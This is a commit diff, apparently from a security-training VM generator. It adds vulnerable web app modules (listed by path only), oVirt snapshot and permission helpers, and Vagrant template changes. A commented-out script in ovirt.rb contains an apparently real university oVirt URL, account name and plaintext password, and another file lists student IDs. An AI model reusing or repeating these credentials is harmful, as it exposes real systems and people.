modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ch.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-da.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-el.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-eo.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-es.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-et.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-fo.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-gl.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-hr.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ja.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ka.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ko.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-nb.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-nl.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-rs.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-sl.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-tr.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-uk.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/phpdoc.dist.xml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/src/Exception.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/src/OAuth.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/src/PHPMailer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/src/POP3.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/phpmailer/phpmailer/src/SMTP.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/.gitignore create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/.travis.yml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/changelog.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/docs/playground.jpg create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/phpunit.xml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/readme.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Exceptions/IncompatibleWithGoogleAuthenticatorException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Exceptions/InvalidCharactersException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Exceptions/SecretKeyTooShortException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Google2FA.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Support/Base32.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Support/Constants.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Support/QRCode.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/src/Support/Url.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/tests/.gitkeep create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/tests/Google2FATest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/tests/bootstrap.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/pragmarx/google2fa/upgrading.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-php56/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-php56/Php56.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-php56/README.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-php56/bootstrap.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-php56/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/Binary.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/BinaryNoFuncOverload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/BinaryOnFuncOverload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/LICENSE create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/README.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/TestListener.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/vendor/symfony/polyfill-util/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/verify.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/verify_resend.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/view_all_users.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_css_samples.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_css_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_login_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_register_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_site_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_admin_stats.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_adminPwReset.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_adminUser.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_msg_template.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_template_forgot_password.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_template_verify.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_email_template_verify_new.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_forgot_password.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_forgot_password_reset.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_forgot_password_reset_error.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_forgot_password_reset_success.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_forgot_password_sent.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_join.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_joinDisabled.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_joinThankYou.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_joinThankYou_verify.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_verify_error.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_verify_resend.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_verify_resend_success.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/views/_verify_success.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/css/custom.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/empty.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/admin_panel_buttons.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/admin_panel_custom_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/admin_panel_custom_settings_post.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/analytics.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/bootstrap_corrections.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/custom_functions.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/database_navigation_hooks.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/example_admin_user_system_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/footer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/head_tags.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/navigation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/navigation_dropdown.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/navigation_right_side.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/oauth_success_redirect.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/security_headers.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/includes/user_agreement.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/additional_join_form_fields.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/banned.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/custom_login_script.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/did_not_have_permission.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/during_user_creation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/just_after_logout.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/just_before_logout.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/not_logged_in.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/usersc/scripts/token_error.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/z_us_root.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/manifests/apache.pp create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/manifests/init.pp create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/manifests/install.pp create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/secgen_metadata.xml create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/templates/userspice.sh.erb create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/userspice_43.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_1x/manifests/init.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_1x/secgen_metadata.xml create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_1x/wordpress_1x.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_2x/manifests/init.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_2x/secgen_metadata.xml create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_2x/wordpress_2x.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_3x/manifests/init.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_3x/secgen_metadata.xml create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_3x/wordpress_3x.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_4x/manifests/init.pp create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_4x/secgen_metadata.xml create mode 100644 modules/vulnerabilities/unix/webapp/wordpress_4x/wordpress_4x.pp create mode 100644 scenarios/examples/requires.xml create mode 100644 scenarios/examples/vulnerability_examples/userspice_43.xml create mode 100644 scenarios/examples/vulnerability_examples/wordpress_examples/wordpress_1x.xml create mode 100644 scenarios/examples/vulnerability_examples/wordpress_examples/wordpress_2x.xml create mode 100644 scenarios/examples/vulnerability_examples/wordpress_examples/wordpress_3x.xml create mode 100644 scenarios/examples/vulnerability_examples/wordpress_examples/wordpress_48.xml create mode 100644 scenarios/examples/vulnerability_examples/wordpress_examples/wordpress_4x.xml create mode 100644 scenarios/labs/hacker_vs_hackerbot_1and2.xml create mode 100644 scenarios/security_audit/ads_assignment.xml create mode 100644 scenarios/security_audit/authentication_access_control_vulns.xml create mode 100644 scenarios/security_audit/wns_assignment.xml create mode 100644 scenarios/test_scenario.xml create mode 100644 wns_students diff --git a/Gemfile b/Gemfile index 0f10e8512..2143b1258 100644 --- a/Gemfile +++ b/Gemfile @@ -12,7 +12,7 @@ gem 'mini_exiftool_vendored' gem 'rmagick' gem 'sshkey' gem 'zipruby' -gem 'zip' +gem 'zip-zip' gem 'credy' gem 'pg' gem 'cinch' diff --git a/ads_students b/ads_students new file mode 100644 index 000000000..4f9b8bb78 --- /dev/null +++ b/ads_students @@ -0,0 +1 @@ +c7154611,c3490435,c7149970,c7143104,c3457952,c3469799,c3414724,c3468394,c3433289,c3449827,c3452857,c3453527,c3459645,c3415781,c3403979,c7154207,c3461096,c3417960,c3468276,c3455839,c3395252,c3456658,c3461575,c3456985,c3471283,c3423870,c3449257,c3439405,c3433131,c3420038,c3455252,c3415736,c3465826,c3435127,c3470033,c3443008,c7144911,c3462292,c3445741,c3417771,c3433249,c3465220,c3468727,c3428394,c3426517,c3447995,c3420408,c3426667,c3470438,c3458366,c7166386,c3444619,c3422400,c3418906,c3457557,c3449023,c3444030,c3346276,c3454728,c3405964,c3466737,c3428565,c7129185,c3396733,c3440450,c3451999,c3459500,c3422916​ \ No newline at end of file diff --git a/lib/batch/batch_secgen.rb b/lib/batch/batch_secgen.rb index 8e4e65321..5e9a2c1d6 100644 --- a/lib/batch/batch_secgen.rb +++ b/lib/batch/batch_secgen.rb @@ -119,7 +119,7 @@ def get_delete_opts end def parse_opts(opts) - options = {:instances => '', :max_threads => 3, :id => nil, :all => false} + options = {:instances => '', :max_threads => 5, :id => nil, :all => false} opts.each do |opt, arg| case opt when '--instances' diff --git a/lib/helpers/ovirt.rb b/lib/helpers/ovirt.rb index f849294a7..b358541e2 100644 --- a/lib/helpers/ovirt.rb +++ b/lib/helpers/ovirt.rb @@ -6,6 +6,16 @@ require_relative './print.rb' class OVirtFunctions + # TODO supply this as a parameter/option instead + def self.authz + '@aet.leedsbeckett.ac.uk-authz' + end + + # @param [Hash] options -- command-line opts + # @return [Boolean] is this secgen process using oVirt as the vagrant provider? + def self.provider_ovirt?(options) + options[:ovirtuser] and options[:ovirtpass] and options[:ovirturl] + end # Helper for removing VMs which Vagrant lost track of, i.e. exist but are reported as 'have not been created'. # @param [String] destroy_output_log -- logfile from vagrant destroy process which contains loose VMs @@ -64,6 +74,22 @@ class OVirtFunctions end end + def self.get_userrole_role(ovirt_connection) + roles_service(ovirt_connection).list.each do |role_item| + if role_item.name == "UserRole" + return role_item + end + end + end + + def self.roles_service(ovirt_connection) + ovirt_connection.system_service.roles_service + end + + def self.users_service(ovirt_connection) + ovirt_connection.system_service.users_service + end + def self.vms_service(ovirt_connection) ovirt_connection.system_service.vms_service end @@ -110,9 +136,95 @@ class OVirtFunctions failures.uniq end - # @param [String] options -- command-line opts, contains oVirt username, password and url + def self.create_snapshot(options, scenario_path, vm_names) + vms = [] + ovirt_connection = get_ovirt_connection(options) + ovirt_vm_names = build_ovirt_names(scenario_path, options[:prefix], vm_names) + ovirt_vm_names.each do |vm_name| + vms << vms_service(ovirt_connection).list(search: "name=#{vm_name}") + end + + vms.each do |vm_list| + vm_list.each do |vm| + Print.std " VM: #{vm.name}" + # find the service that manages that vm + vm_service = vms_service(ovirt_connection).vm_service(vm.id) + Print.std " Creating snapshot: #{vm.name}" + begin + vm_service.snapshots_service.add( + OvirtSDK4::Snapshot.new( + description: "Automated snapshot: #{Time.new.to_s}" + ) + ) + rescue Exception => e + Print.err '****************************************** Skipping' + Print.err e.message + end + end + end + end + + def self.assign_permissions(options, scenario_path, vm_names) + ovirt_connection = get_ovirt_connection(options) + username = options[:prefix].chomp + user = get_user(ovirt_connection, username) + if user + vms = [] + + ovirt_vm_names = build_ovirt_names(scenario_path, username, vm_names) + Print.std "Searching for VMs owned by #{username} #{ovirt_vm_names}" + ovirt_vm_names.each do |vm_name| + vms << vms_service(ovirt_connection).list(search: "name=#{vm_name}") + end + + vms.each do |vm_list| + vm_list.each do |vm| + Print.std " Found VM: #{vm.name}" + + # find the service that manages that vm + vm_service = vms_service(ovirt_connection).vm_service(vm.id) + + # find the service that manages the permissions of that vm + perm_service = vm_service.permissions_service + + # add a permission for that user to use that VM + perm_attr = {} + perm_attr[:comment] = 'Automatic assignment' + perm_attr[:role] = get_userrole_role(ovirt_connection) + perm_attr[:user] = user + Print.std " Adding permissions" + begin + perm_service.add OvirtSDK4::Permission.new(perm_attr) + rescue Exception => e + Print.err '****************************************** Skipping' + Print.err e.message + end + end + end + else + Print.info "No account with username #{username} found, skipping ..." + end + end + + # @param [String] username + # @return [OvirtUser] + def self.get_user(ovirt_connection, username) + un = username.chomp + search_string = "usrname=#{un}#{authz}" + puts "Searching for VMs owned by #{un}" + user = users_service(ovirt_connection).list(search: search_string).first + if user + Print.std "Found user '#{un}' on oVirt" + user + else + Print.err "User #{un} not found" + nil + end + end + + # @param [String] options -- command-line opts, contains oVirt username, password and url def self.get_ovirt_connection(options) - if options[:ovirtuser] and options[:ovirtpass] and options[:ovirturl] + if provider_ovirt?(options) conn_attr = {} conn_attr[:url] = options[:ovirturl] conn_attr[:username] = options[:ovirtuser] @@ -127,4 +239,104 @@ class OVirtFunctions end end -end \ No newline at end of file +end + +## TODO: Remove me +# +## Included cliffe's permissions script to modify tomorrow! +# +# require 'ovirtsdk4' +# +# create_snapshots = true +# assign_permissions = true +# +# authz = '@aet.leedsbeckett.ac.uk-authz' +# +# # read in the list of users (one username per line) +# localuserslist = File.readlines('./userlist.complete') +# +# # connect to oVirt +# conn_attr = {} +# conn_attr[:url] = 'https://aet-ovirt.aet.leedsbeckett.ac.uk/ovirt-engine/api' +# conn_attr[:username] = 'secgen@aet.leedsbeckett.ac.uk' +# conn_attr[:password] = 'assay4?ravel' +# conn_attr[:debug] = true +# conn_attr[:headers] = {'Filter' => true } +# +# ovirt_connection = OvirtSDK4::Connection.new(conn_attr) +# # get the service that manages the VMs +# vms_service = ovirt_connection.system_service.vms_service +# # puts vms_service.to_s +# +# # get the service that manages the users +# users_service = ovirt_connection.system_service.users_service +# # puts users_service.list +# +# # get the service that manages the roles +# roles_service = ovirt_connection.system_service.roles_service +# # puts roles_service.list +# +# # find the UserRole role +# role = ""; +# roles_service.list().each do |role_item| +# if role_item.name == "UserRole" +# role = role_item +# end +# end +# +# # iterate through our local list of users +# localuserslist.each do |username| +# # find the user on oVirt +# search_string = "usrname=#{username.chomp()}#{authz}" +# puts "Searching for VMs owned by #{username.chomp()}" +# user = users_service.list(search: search_string).first +# # puts user.to_s +# +# if user +# puts " Found user on oVirt" +# # find any VMs we have access to that start with their username +# vms = vms_service.list(search: "name=#{username.chomp()}-7-*") +# vms.each do |vm| +# puts " VM: #{vm.name}" +# +# # find the service that manages that vm +# vm_service = vms_service.vm_service(vm.id) +# +# if assign_permissions +# # find the service that manages the permissions of that vm +# perm_service = vm_service.permissions_service +# +# # add a permission for that user to use that VM +# perm_attr = {} +# perm_attr[:comment] = 'Automatic assignment' +# perm_attr[:role] = role +# perm_attr[:user] = user +# puts " Adding permissions" +# begin +# perm_service.add OvirtSDK4::Permission.new(perm_attr) +# rescue Exception => e +# puts "****************************************** Skipping" +# puts e.message +# end +# end +# +# if create_snapshots +# puts " Creating snapshot" +# begin +# vm_service.snapshots_service.add( +# OvirtSDK4::Snapshot.new( +# description: "Automated snapshot: #{Time.new.to_s}" +# ) +# ) +# rescue Exception => e +# puts "****************************************** Skipping" +# puts e.message +# end +# end +# +# end +# else +# puts "Skipping missing user: #{username}" +# end +# +# end \ No newline at end of file diff --git a/lib/objects/system.rb b/lib/objects/system.rb index 322a1e519..212d300c9 100644 --- a/lib/objects/system.rb +++ b/lib/objects/system.rb @@ -28,7 +28,7 @@ class System # @return [Object] the list of selected modules def resolve_module_selection(available_modules, options) retry_count = 0 - + begin # Replace $IP_addresses with options ip_ranges if required begin if options[:ip_ranges] and $datastore['IP_addresses'] and !$datastore['replaced_ranges'] @@ -80,8 +80,6 @@ class System exit end - begin - selected_modules = [] self.num_actioned_module_conflicts = 0 @@ -184,7 +182,7 @@ class System end # feed in input from any received datastores - if selected.received_datastores != {} + if selected.received_datastores != {} and $datastore != {} Print.verbose "Receiving datastores: #{selected.received_datastores}" selected.received_datastores.each do |input_into, datastore_list| datastore_list.each do |datastore_variablename_and_access_type| diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb index 625788f33..c70cc8719 100644 --- a/lib/templates/Vagrantfile.erb +++ b/lib/templates/Vagrantfile.erb @@ -140,10 +140,12 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <% if @ovirt_template and @ovirt_template.include? 'kali_linux_msf' %> <%= system.name %>.vm.provision 'shell', inline: "echo \"auto lo\niface lo inet loopback\n\nauto eth0\niface eth0 inet static\n\taddress <%= resolve_network(selected_module)%>\" > /etc/network/interfaces" <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment" - <% elsif @ovirt_template and @ovirt_template.include? 'debian_desktop_kde' %> + <% elsif @ovirt_template and (@ovirt_template.include? 'debian_desktop_kde') %> <%= system.name %>.vm.provision 'shell', inline: "echo \"\nauto eth1\niface eth1 inet static\n\taddress <%= resolve_network(selected_module)%>\" >> /etc/network/interfaces" - <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment" - <% else %> + <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment" + <% elsif @ovirt_template and ( @ovirt_template.include? 'debian_stretch_server_n' or @ovirt_template.include? 'debian_stretch_desktop_kde') %> + <%= system.name %>.vm.provision 'shell', inline: "echo \"\nauto ens4\niface ens4 inet static\n\taddress <%= resolve_network(selected_module)%>\" >> /etc/network/interfaces" + <% else %> <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' <% end %> <% else %> diff --git a/modules/bases/debian_stretch/secgen_metadata.xml b/modules/bases/debian_stretch/secgen_metadata.xml new file mode 100644 index 000000000..5c852ff33 --- /dev/null +++ b/modules/bases/debian_stretch/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Debian 9 Stretch Server + Thomas Shaw + GPLv3 + For testing purposes, the default root password is puppet. + 64-bit + server + cli + + linux + unix + Debian 9 (stretch) TODO: 32-bit (i386) + https://app.vagrantup.com/summernguyen/boxes/debian-stretch-puppet/versions/1.0.0/providers/virtualbox.box + debian_stretch_server_n + + https://atlas.hashicorp.com/puppetlabs + various + diff --git a/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml b/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml new file mode 100644 index 000000000..a99142fa0 --- /dev/null +++ b/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml @@ -0,0 +1,21 @@ + + + + Debian 9 Stretch Desktop KDE + Thomas Shaw + GPLv3 + For testing purposes, the default root password is puppet. + 64-bit + desktop + + linux + unix + Debian 9 (stretch) TODO: 32-bit (i386) + https://app.vagrantup.com/summernguyen/boxes/debian-stretch-puppet/versions/1.0.0/providers/virtualbox.box + debian_stretch_desktop_kde + + https://atlas.hashicorp.com/puppetlabs + various + diff --git a/modules/generators/compression/zip/secgen_local/local.rb b/modules/generators/compression/zip/secgen_local/local.rb index 66fe6a9cd..330bd38de 100644 --- a/modules/generators/compression/zip/secgen_local/local.rb +++ 